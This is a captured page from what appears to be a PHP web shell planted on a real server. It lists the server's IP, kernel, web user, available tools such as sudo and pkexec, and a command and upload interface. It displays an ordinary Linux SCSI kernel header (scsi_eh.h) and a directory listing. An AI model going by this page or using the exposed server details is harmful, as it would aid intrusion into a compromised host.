p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/scsi/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.105.1.el7.x86_64/build/include/scsi/scsi_eh.h
#ifndef _SCSI_SCSI_EH_H
#define _SCSI_SCSI_EH_H

#include <linux/scatterlist.h>

#include <scsi/scsi_cmnd.h>
struct scsi_device;
struct Scsi_Host;

/*
 * This is a slightly modified SCSI sense "descriptor" format header.
 * The addition is to allow the 0x70 and 0x71 response codes. The idea
 * is to place the salient data from either "fixed" or "descriptor" sense
 * format into one structure to ease application processing.
 *
 * The original sense buffer should be kept around for those cases
 * in which more information is required (e.g. the LBA of a MEDIUM ERROR).
 */
struct scsi_sense_hdr {		/* See SPC-3 section 4.5 */
	u8 response_code;	/* permit: 0x0, 0x70, 0x71, 0x72, 0x73 */
	u8 sense_key;
	u8 asc;
	u8 ascq;
	u8 byte4;
	u8 byte5;
	u8 byte6;
	u8 additional_length;	/* always 0 for fixed sense format */
};

static inline bool scsi_sense_valid(const struct scsi_sense_hdr *sshdr)
{
	if (!sshdr)
		return false;

	return (sshdr->response_code & 0x70) == 0x70;
}


extern void scsi_eh_finish_cmd(struct scsi_cmnd *scmd,
			       struct list_head *done_q);
extern void scsi_eh_flush_done_q(struct list_head *done_q);
extern void scsi_report_bus_reset(struct Scsi_Host *, int);
extern void scsi_report_device_reset(struct Scsi_Host *, int, int);
extern int scsi_block_when_processing_errors(struct scsi_device *);
extern bool scsi_normalize_sense(const u8 *sense_buffer, int sb_len,
				 struct scsi_sense_hdr *sshdr);
extern bool scsi_command_normalize_sense(const struct scsi_cmnd *cmd,
					 struct scsi_sense_hdr *sshdr);

static inline bool scsi_sense_is_deferred(const struct scsi_sense_hdr *sshdr)
{
	return ((sshdr->response_code >= 0x70) && (sshdr->response_code & 1));
}

extern const u8 * scsi_sense_desc_find(const u8 * sense_buffer, int sb_len,
				       int desc_type);

extern int scsi_get_sense_info_fld(const u8 * sense_buffer, int sb_len,
				   u64 * info_out);

extern void scsi_build_sense_buffer(int desc, u8 *buf, u8 key, u8 asc, u8 ascq);

/*
 * Reset request from external source
 */
#define SCSI_TRY_RESET_DEVICE	1
#define SCSI_TRY_RESET_BUS	2
#define SCSI_TRY_RESET_HOST	3
#define SCSI_TRY_RESET_TARGET	4

extern int scsi_reset_provider(struct scsi_device *, int);

struct scsi_eh_save {
	/* saved state */
	int result;
	enum dma_data_direction data_direction;
	unsigned underflow;
	unsigned char cmd_len;
	unsigned char prot_op;
	unsigned char *cmnd;
	struct scsi_data_buffer sdb;
	struct request *next_rq;
	/* new command support */
	unsigned char eh_cmnd[BLK_MAX_CDB];
	struct scatterlist sense_sgl;
};

extern void scsi_eh_prep_cmnd(struct scsi_cmnd *scmd,
		struct scsi_eh_save *ses, unsigned char *cmnd,
		int cmnd_size, unsigned sense_bytes);

extern void scsi_eh_restore_cmnd(struct scsi_cmnd* scmd,
		struct scsi_eh_save *ses);

#endif /* _SCSI_SCSI_EH_H */
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:51
0 / 0
0755
fc
--
January 19 2024 08:12:51
0 / 0
0755
fc_encode.h
21.636 KB
November 06 2023 09:15:52
0 / 0
0644
fc_frame.h
6.897 KB
November 06 2023 09:15:52
0 / 0
0644
fcoe_sysfs.h
3.753 KB
November 06 2023 09:15:52
0 / 0
0644
iscsi_if.h
26.071 KB
November 06 2023 09:15:52
0 / 0
0644
iscsi_proto.h
16.064 KB
November 06 2023 09:15:52
0 / 0
0644
iser.h
2.341 KB
November 06 2023 09:15:52
0 / 0
0644
libfc.h
33.986 KB
November 06 2023 09:15:52
0 / 0
0644
libfcoe.h
13.814 KB
November 06 2023 09:15:52
0 / 0
0644
libiscsi.h
13.856 KB
November 06 2023 09:15:52
0 / 0
0644
libiscsi_tcp.h
4.242 KB
November 06 2023 09:15:52
0 / 0
0644
libsas.h
19.068 KB
November 06 2023 09:15:52
0 / 0
0644
libsrp.h
1.544 KB
November 06 2023 09:15:52
0 / 0
0644
osd_attributes.h
15.012 KB
November 06 2023 09:15:52
0 / 0
0644
osd_initiator.h
16.253 KB
November 06 2023 09:15:52
0 / 0
0644
osd_ore.h
5.337 KB
November 06 2023 09:15:52
0 / 0
0644
osd_protocol.h
17.623 KB
November 06 2023 09:15:52
0 / 0
0644
osd_sec.h
1.485 KB
November 06 2023 09:15:52
0 / 0
0644
osd_sense.h
9.89 KB
November 06 2023 09:15:52
0 / 0
0644
osd_types.h
0.997 KB
November 06 2023 09:15:52
0 / 0
0644
sas.h
12.208 KB
November 06 2023 09:15:52
0 / 0
0644
sas_ata.h
2.734 KB
November 06 2023 09:15:52
0 / 0
0644
scsi.h
17.992 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_bsg_iscsi.h
2.826 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_cmnd.h
9.398 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_dbg.h
2.073 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_device.h
23.722 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_devinfo.h
2.267 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_dh.h
2.828 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_driver.h
0.907 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_eh.h
2.74 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_host.h
30.871 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_ioctl.h
1.229 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_tcq.h
4.961 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_tgt.h
0.788 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_tgt_if.h
2.474 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_transport.h
3.909 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_transport_fc.h
27.21 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_transport_iscsi.h
17.203 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_transport_sas.h
6.719 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_transport_spi.h
7.129 KB
November 06 2023 09:15:52
0 / 0
0644
scsi_transport_srp.h
3.813 KB
November 06 2023 09:15:52
0 / 0
0644
scsicam.h
0.658 KB
November 06 2023 09:15:52
0 / 0
0644
sg.h
11.994 KB
November 06 2023 09:15:52
0 / 0
0644
srp.h
6.526 KB
November 06 2023 09:15:52
0 / 0
0644